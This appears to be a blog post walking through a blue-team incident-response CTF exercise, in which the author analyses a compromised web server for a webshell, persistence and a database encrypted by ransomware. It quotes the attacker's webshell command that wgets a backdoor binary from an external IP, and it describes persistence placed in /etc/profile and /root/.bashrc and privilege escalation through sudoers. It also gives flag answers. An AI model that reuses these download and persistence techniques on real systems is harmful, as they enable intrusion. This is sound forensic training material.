第九章-blueteam 的小心思

1.攻击者通过什么密码成功登录了网站的后台?提交密码字符串的小写md5值,格式flag{md5}。

要看登录,那就去看服务器的access.log文件
然后筛选login的请求

cat /var/log/apache2/access.log | grep "POST /login"

但是有一个很尴尬的事情post请求就是看不到账号密码,所以只好换一种方式
用finalshell在根目录下发现一个流量包,直接下载下来扔到wireshark里面分析

http contains "login.php"

然后总共没几条,一条一条看就ok了

2.攻击者在哪个PHP页面中成功上传了后门文件?例如upload.php页面,上传字符串"upload.php"的小写md5值,格式flag

一般文件上传请求包中会有boundary,主要是用来准确提取文件数据和元数据

http contains "boundary"

然后分析文件内容发现在一个zip文件中有一个cpg.php,里面有一句话木马,所以直接wireshark那一条流量包的那个php文件就是上传后门文件的php页面
pluginmgr.php
flag{B05C0BE368FFA72E6CB2DF7E1E1B27BE}

3.找到攻击者上传的webshell文件,提交该文件的小写md5值,格式flag

d盾直接把目录下载下来查杀即可

其实就是上一题中那个zip文件中的php文件
flag{a097b773ced57bb7d51c6719fe8fe5f5}

4.攻击者后续又下载了一个可执行的后门程序,提交该文件的小写md5值,格式flag

看流量包,大小为1037的cpg.php发现了异常

m3=system("wget http://124.221.70.199:8889/is.world");

wget是个下载命令,所以显而易见is.word就是又下载的后门程序

5.攻击者创建了后门用户的名称是?例如attack恶意用户,上传字符串"attack"的小写md5值,格式flag

直接上命令

cat /etc/passwd

找和root权限一样高的用户就行(一般就在用户列表的最下面)

md5 knowledgegraphd
flag{4cda3461543c9a770a3349760594facd}

6.攻击者创建了一个持久化的配置项,导致任意用户登录就会触发后门的连接。提交该配置项对应配置文件的小写md5值,格式flag

看/etc/profile目录下的内容就行

cat /etc/profile

/etc/profile 文件的内容,这是一个系统范围的配置文件

● 首先,这段代码检查是否存在交互式 shell 的环境变量 ${PS1-}。如果存在,它会进一步检查是否在 Bash 环境下,并且 Bash 的路径不是 /bin/sh。
● 如果是 Bash,并且存在 /etc/bash.bashrc 文件,则会载入该文件的配置。
● 如果当前用户是 root 用户(通过 id -u 命令检查),则设置提示符 PS1 为 #,表示超级用户权限。否则设置为 $,表示普通用户权限。
● 接下来就是黑客插入的后门程序:/var/www/html/plugins/". "/is.world &,它是一个恶意添加的行,试图运行一个不明的命令或程序。
● 最后,如果 /etc/profile.d 目录存在,则会加载该目录下所有可读的 .sh 结尾的脚本文件,以扩展 shell 的配置
/etc/profile
flag{65bf3e4a9ac90d75ec28be0317775618}

7.攻击者创建了一个持久化的配置项,导致只有root用户登录才会触发后门的连接。提交该配置项对应配置文件的小写md5值,格式flag{md5}。

这个题和上面那个题的区别在于这个是只有root用户登录才会被触发
cat /root/.bashrc
如果黑客希望在只有root用户登录时才触发后门连,其它用户则不会,那他一般会挑选以下文件和目录;

1、“/root/.bashrc”:在root用户登录Bash Shell时执行;
2、“/root/.bash_profile”:在root用户登录时执行。
3、“/root/.profile”:在root用户登录时执行。
4、“/etc/profile”:所有用户登录时执行,但可以通过特定的条件使其仅在root用户登录时触发。(这个概率就非常大,且也符合我们的猜测)
5、“/etc/rc.local”:系统启动时执行,可以包含条件逻辑;

这是一个python的经典反弹shell
/root/.bashrc
flag{4acc9c465eeeb139c194893ec0a8bcbc}

8.攻击者加密了哪个数据库?提交数据库的文件夹名,例如user数据库对应存放位置为user文件夹,上传字符串"user"的小写md5值,格式flag

用navicat连接数据库更好看一点
数据库的登录信息(账号密码),一般都会储存在配置文件“config.inc.php”中

一个一个点击进去查(表也就那么多),看看那张表点不开或者报错的,那就是有毛病呗,就是题目要求的有锁呗;
最后也是在“JPMorgan Chase”数据库中发现它打不开(啥都打不开);
JPMorgan@0020Chase
flag{0928a5424aa6126e5923980ca103560e}

9.解密数据库,提交Harper用户对应Areer的值。提交Areer值的小写md5值,格式flag

查找一下比文件“cpg.php“新,又比闻文件“Balance.frm”旧的所有文件

find / -type f -newer /var/www/html/plugins/cpg.php ! -newer /var/lib/mysql/JPMorgan@0020Chase/Balance.frm

● /: 从根目录开始查找。
● -type f: 只查找文件(不包括目录、链接等)。
● -newer /var/www/html/plugins/cpg.php: 找出比这个文件新的文件。
● ! -newer /var/lib/mysql/JPMorgan@0020Chase/Balance.frm: 找出比这个文件旧的文件。

总共也没几个php文件了

cat /var/lib/mysql/clockup.php

这个PHP脚本的作用是对指定目录下的所有文件进行加密,指定目录就是“/var/lib/mysql/JPMorgan@0020Chase”
(把代码发给gpt,直接写一个反推的脚本即可)
其实就是一个时间戳做作key,固定字符串的hash值前16位作iv进行aes-cbc加密,对应解密即可
php 123.php
sudo systemctl restart mysql //重启数据库
然后返回navicat查看即可正常查看

flag{8fd82b8864d71ed7fa12b59e6e34cd1c}

10.因为什么文件中的漏洞配置,导致了攻击者成功执行命令并提权。提交该文件的小写md5值,格式flag

既然说了提权那我们就可以直接使用命令查找系统中以 root 用户身份拥有并设置了 SUID(Set User ID)权限的文件
简单来说是为了查找被黑客利用的具有 SUID 权限的文件。设置了 SUID 位的文件在执行时将以文件所有者(通常是 root 用户)的权限运行,而不是以执行者的权限运行。黑客可能会利用这些文件进行提权攻击,即通过这些文件获取 root 权限,从而对系统进行更高权限的操作

find / -user root -perm -4000 2>/dev/null

find /: 从根目录开始查找文件。
● -user root: 查找所有属于 root 用户的文件。
● -perm -4000: 查找设置了 SUID 位的文件(即特殊权限位)。
● 4000 是八进制表示法,用于指定 SUID 位。
● -perm -4000 意味着查找具有 SUID 权限的文件,无论其他权限如何。
● 2>/dev/null: 将标准错误输出重定向到 /dev/null,即忽略错误信息(例如没有权限访问的目录)。

看到一个常见linux提权工具sudo,又想到sudo也报过漏洞
所以进一步分析一下/etc/sudoers
/etc/sudoers 包含了系统上 sudo 的配置和权限设置

cat /etc/sudoers

NOPASSWD 选项:
● 任何无需密码验证的 sudo 配置都可能带来危害,因为它为潜在的攻击者提供了绕过身份验证的途径。
● 在这个案例中,虽然只允许执行 systemctl status apache2.service,存在某种漏洞,肯定会导致执行其它命令或达到提权的效果。
/etc/sudoers
flag{6585817513b0ea96707ebb0d04d6aeff}

posted @ 2025-02-28 13:17  Zephyr07  阅读(33)  评论(0)    收藏  举报